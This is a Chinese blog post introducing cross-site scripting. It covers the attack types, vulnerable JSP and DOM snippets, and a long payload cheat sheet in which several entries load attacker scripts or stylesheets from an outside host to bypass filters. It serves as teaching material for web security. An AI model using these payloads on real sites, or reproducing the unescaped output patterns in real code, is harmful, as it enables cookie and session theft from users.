什么是XSS?

跨站脚本攻击(Cross Site Scripting):攻击者往Web页面里插入恶意脚本,当用户浏览该页面时,嵌入页面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。恶意的内容通常需要以一段JavaScript的形式发送到浏览器,但也可能包括HTML、Flash,或任何其他类型的浏览器可以执行的代码

XSS的危害通常包括传输私有数据,像cookie或session信息;重定向受害者看到的内容;或在用户的机器上进行恶意操作。

XSS攻击发生的原因:

  1. 数据通过一个未信任的来源进入Web应用中,最常见的是一个web请求
  2. 数据中包含动态文本,然后发送给用户,但是没有校验恶意的文本,如velocity渲染页面

下面博文中有部分是从其他博客中摘取,有部分是从OWASP中翻译,最后整合在一起形成这篇博客,如果觉得还不错,就关注我吧。

XSS 的类型

Stored XSS(存储型XSS)

把用户输入的数据(比如恶意的js代码)存储在服务器端,具有很强的稳定性,危害时间长,每次用户读取这段数据时都会执行一次,所以受害者是很多人。

最典型的攻击场景就是留言板。

其攻击过程如下:

  • Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
  • Charly注意到Bob的站点具有存储型XXS漏洞。
  • Charly发布一个包含XSS攻击脚本的热点信息,并吸引其它用户纷纷阅读。
  • Bob或者是任何的其他人如Alice浏览该信息,其会话cookies或者其它信息将被Charly盗走。

Reflected XSS(反射型XSS)

反射攻击是通过另一种方式攻击受害者,比如在一封电子邮件。当用户点击了一个恶意链接,将会提交一个特殊的表单,或者仅仅只是浏览恶意网站,注入的代码将反射到攻击用户的浏览器

最典型的攻击场景就是给个恶意链接让你去点。

其攻击过程如下:

  • Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。
  • Charly发现Bob的站点包含反射性的XSS漏洞。
  • Charly编写一个利用漏洞的URL,并将其冒充为来自Bob的邮件发送给Alice。
  • Alice在登录到Bob的站点后,浏览Charly提供的URL。

嵌入到URL中的恶意脚本在Alice的浏览器中执行,就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。

DOM Based XSS

这种不是按照存储在哪里来划分的,可以说是反射型的一种,由于历史原因,归为一类,通过改变DOM结构形成的XSS称之为DOM Based。

Example

eg.1 Reflected XSS

<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

jsp页面中,我们可能会像上面那样写。

最初这似乎不可能出现的漏洞,因为攻击者不可能用来输入一段而已的代码然后攻击自己的电脑,导致恶意代码运行在自己的电脑。但真正的危险是,攻击者将创建恶意URL,然后使用电子邮件或社会工程学技巧来吸引受害者访问的URL链接。受害者点击链接时,无意中反映了恶意的内容通过脆弱的web应用程序回自己的电脑。这个机制称为反射型XSS攻击

当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫eid的参数直接显示的。 我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?eid=,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。

eg.2 Stored XSS

<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%> Employee Name: <%= name %>

这段代码功能是显示名字,但这并没有阻止被利用。这段代码相对上一种而言危险更小,因为名字是读取数据库的值。然而,如果名字来源于用户提供的输入,那么数据库可以为恶意内容的一个渠道。没有适当的输入验证数据就存储在数据库中,攻击者可以在用户的web浏览器中执行恶意命令,也就是存储型XSS攻击

a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功

eg.3 DOM Based XSS

http://www.a.com/xss/domxss.html页面中代码如下:

<script>
eval(location.hash.substr(1));
</script>

触发方式为:http://www.a.com/xss/domxss.html#alert(1)

网站是否会遭受XSS攻击?

XSS漏洞很难被识别或从一个web应用程序删除。发现缺陷的最好方法是进行代码的安全审查和搜索所有从HTTP请求输入且有可能使其输出到页面的代码,并对这些代码进行相应的处理。

注意,可以使用各种不同的HTML标记传输恶意JavaScript。Nessus Nikto,和其他一些可用的工具可以帮助扫描一个网站的这些缺陷,但却只是完成表面功夫。如果一个网站的某一部分是脆弱的,那么极有可能还有其他问题。

防御XSS的具体措施

将在下一篇博客中写出

XSS攻击方式清单

下面的清单是网上比较流行的攻击方案, 我摘取了部分。
我们从中可以看到多种多样的攻击方式,因此要防御XSS攻击需要考虑很多种情况。

(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>
(11)嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(12)嵌入式编码标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(13)嵌入式换行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(14)嵌入式回车
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>
(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(26)半开的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)换码过滤的JavaScript
\”;alert(‘XSS’);//
(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
(38)远程样式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0;
URL=http://;URL=javascript:alert(‘XSS’);”>
(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
CLASS=XSS></A>
(53)STYLE background
<STYLE><STYLE
type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
(56)在flash中使用ActionScrpt可以混进你XSS的代码
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
<SCRIPT SRC=””></SCRIPT>
(59)IMG嵌入式命令,可执行任意命令
<IMG SRC=”http://www.XXX.com/a.php?a=b”>

  

转载注明出处:http://blog.bensonlin.me/post/xss-overview 或 http://www.cnblogs.com/lzb1096101803/p/5770087.html

XSS Overview的更多相关文章

  1. 防御XSS攻击-encode用户输入内容的重要性

    一.开场先科普下XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶 ...

  2. XSS

    XSS的含义 XSS(Cross Site Scripting)即跨站脚本.跨站的主要内容是在脚本上. 跨站脚本 跨站脚本的跨,体现了浏览器的特性,可以跨域.所以也就给远程代码或者第三方域上的代码提供 ...

  3. [原] KVM 虚拟化原理探究(1)— overview

    KVM 虚拟化原理探究- overview 标签(空格分隔): KVM 写在前面的话 本文不介绍kvm和qemu的基本安装操作,希望读者具有一定的KVM实践经验.同时希望借此系列博客,能够对KVM底层 ...

  4. 【XSS】延长 XSS 生命期

    XSS 的本质仍是一段脚本.和其他文档元素一样,页面关了一切都销毁.除非能将脚本蔓延到页面以外的地方,那样才能获得更长的生命力. 庆幸的是,从 DOM 诞生的那一天起,就已为我们准备了这个特殊的功能, ...

  5. 探索ASP.NET MVC5系列之~~~2.视图篇(上)---包含XSS防御和异步分部视图的处理

    其实任何资料里面的任何知识点都无所谓,都是不重要的,重要的是学习方法,自行摸索的过程(不妥之处欢迎指正) 汇总:http://www.cnblogs.com/dunitian/p/4822808.ht ...

  6. XSS分析及预防

    XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息 ...

  7. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  8. xss和sql注入原理学习

    8.4 Web跨站脚本攻击 8.4.1  跨站脚本攻击的原理(1) 跨站脚本在英文中称为Cross-Site Scripting,缩写为CSS.但是,由于层叠样式表 (Cascading Style ...

  9. Activity之概览屏幕(Overview Screen)

    概览屏幕 概览屏幕(也称为最新动态屏幕.最近任务列表或最近使用的应用)是一个系统级别 UI,其中列出了最近访问过的 Activity 和任务. 用户可以浏览该列表并选择要恢复的任务,也可以通过滑动清除 ...

随机推荐

  1. android 常见的解决(mdpi、hdpi 、xhdpi、xxhdpi )屏幕调整

    查询到执行的system service后,就能够在dumpsys后面加上service的名字,查看指定的service信息. adb shell dumpsys activity adb shell ...

  2. 【j2ee spring】30、巴巴荆楚网-综合hibernate4+spring4(5)分页

    巴巴荆楚网-综合hibernate4+spring4(5)分页 1.图文项目 2.首先我们引入对应的jar包 3.我们配置一下数据库中对应的实体对象 ProductType.java /** * 功能 ...

  3. JAVA对数据库进行操作,实现数据库中数据的插入,查询,更改,删除操作

    (—)通过mysql workbench 创建一个数据库,在这里命名为company,然后建一个tb_employee表 (二)以下是java代码对表tb_employee的操作 1 创建一个Empl ...

  4. Objective-c正确的写法单身

    Singleton模式iOS发展可能是其中最常用的模式中使用的.但是因为oc语言特性本身,想要写一个正确的Singleton模式是比较繁琐,iOS中单例模式的设计思路. 关于单例模式很多其它的介绍请參 ...

  5. 首先看K一个难看的数字

    把仅仅包括质因子2.3和5的数称作丑数(Ugly Number),比如:2,3,4,5,6,8,9,10,12,15,等,习惯上我们把1当做是第一个丑数. 写一个高效算法,返回第n个丑数. impor ...

  6. lodoop打印控制具体解释

    注意:这就需要引进的打印控制(我上传Demo同时): install_lodop32.exe install_lodop64.exe LodopFuncs.js jquery-1.10.0.min.j ...

  7. strchr,wcschr 及strrchr, wcsrchr,_tcschr,_tcsrchr函数

           strchr,wcschr 及strrchr, wcsrchr,_tcschr,_tcsrchr函数 (1) char *strchr( const char *string, int ...

  8. atitit.基于组件的事件为基础的编程模型--服务器端控件(1)---------服务器端控件和标签之间的关系

    atitit.基于组件的事件为基础的编程模型--服务器端控件(1)---------服务器端控件和标签之间的关系 1. server控件是要server了解了标签.种类型的server控件: 1 1. ...

  9. pydev-python 链接mysql数据库(mac系统)

    1.首先,实现了命令行可以运行mysql          非常清楚了,直接引用过来,多谢哈.引用:http://www.lihui.info/mac-pydev-mysqldb/           ...

  10. WebKit介绍及总结(一)

    一 . WebKit 简单介绍 Webkit 是一个开放源码的浏览器引擎 (web browser engine) ,最初的代码来自 KDE 的 KHTML 和 KJS( 均开放源码 ) .苹果公司在 ...